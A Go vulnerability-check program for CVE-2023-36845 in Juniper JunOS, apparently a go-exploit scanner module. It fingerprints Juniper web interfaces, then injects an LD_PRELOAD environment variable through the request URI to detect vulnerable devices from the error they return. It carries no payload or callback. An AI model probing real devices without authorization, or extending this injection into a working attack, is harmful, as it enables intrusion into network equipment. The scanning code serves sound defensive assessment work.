package main import ( "strings" "github.com/vulncheck-oss/go-exploit" "github.com/vulncheck-oss/go-exploit/c2" "github.com/vulncheck-oss/go-exploit/config" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" ) type JunOSVulnerableScan struct{} // Validate target will do two things: // // 1. Check the landing paging has a title: // a. "Juniper Networks VPN Client Application" // b. "Juniper Networks Web Management" // c. "Juniper Networks Web Authentication" // d. "Juniper Web Device Manager" // e. Technically not a title, but wvu found some weird no title ones: "slipstream-content-title" // // 2. Check that images/favicon.ico can be loaded // // There are a lot of, what I believe are, honeypots on Shodan that // don't actually have the images/favicon.ico. It is conceivable that // this aren't really honeypots, but they don't respond as expected // and they aren't exploitable so. func (sploit JunOSVulnerableScan) ValidateTarget(conf *config.Config) bool { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/") resp, body, ok := protocol.HTTPGetCache(url) if !ok { return false } if resp.StatusCode != 200 { output.PrintfDebug("Bad status code: %d", resp.StatusCode) return false } if !strings.Contains(strings.ToLower(body), strings.ToLower("Juniper Networks VPN Client Application")) && !strings.Contains(strings.ToLower(body), strings.ToLower("Juniper Networks Web Management")) && !strings.Contains(strings.ToLower(body), strings.ToLower("Juniper Networks Web Authentication")) && !strings.Contains(strings.ToLower(body), strings.ToLower("Juniper Web Device Manager")) && !strings.Contains(body, "slipstream-content-title") { output.PrintfDebug("Body missing expected title: body=%q", body) return false } url = protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/images/favicon.ico") resp, _, ok = protocol.HTTPGetCache(url) if !ok { return false } if resp.StatusCode != 200 { output.PrintfDebug("Bad image status code: %d", resp.StatusCode) return false } return true } func (sploit JunOSVulnerableScan) CheckVersion(_ *config.Config) exploit.VersionCheckType { return exploit.NotImplemented } // Sends an HTTP request that will set the LD_PRELOAD environment variable to a non-existent // file. This will result in an error response from vulnerable servers. Note that, this // scanner intentionally puts the LD_PRELOAD variable in the URI so that it will get logged // in httpd.log: // httpd: 2: GET /?LD_PRELOAD=/tmp/ld HTTP/1.1 func (sploit JunOSVulnerableScan) RunExploit(conf *config.Config) bool { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/?LD_PRELOAD=/tmp/ld") resp, body, ok := protocol.HTTPSendAndRecv("GET", url, "") if !ok { return false } if resp.StatusCode != 200 { output.PrintfDebug("Bad status code: %d", resp.StatusCode) return false } if strings.Contains(body, `Cannot open "/tmp/ld"`) { output.PrintSuccess("Vulnerable", "vulnerable", true, "rhost", conf.Rhost, "rport", conf.Rport) return true } output.PrintSuccess("Not Vulnerable", "vulnerable", false, "rhost", conf.Rhost, "rport", conf.Rport) return false } func main() { conf := config.NewRemoteExploit( config.ImplementedFeatures{AssetDetection: true, VersionScanning: false, Exploitation: true}, config.InformationDisclosure, []c2.Impl{}, "Juniper", []string{"Junos"}, []string{"cpe:2.3:o:juniper:junos"}, "CVE-2023-36845", "HTTP", 80) sploit := JunOSVulnerableScan{} exploit.RunProgram(sploit, conf) }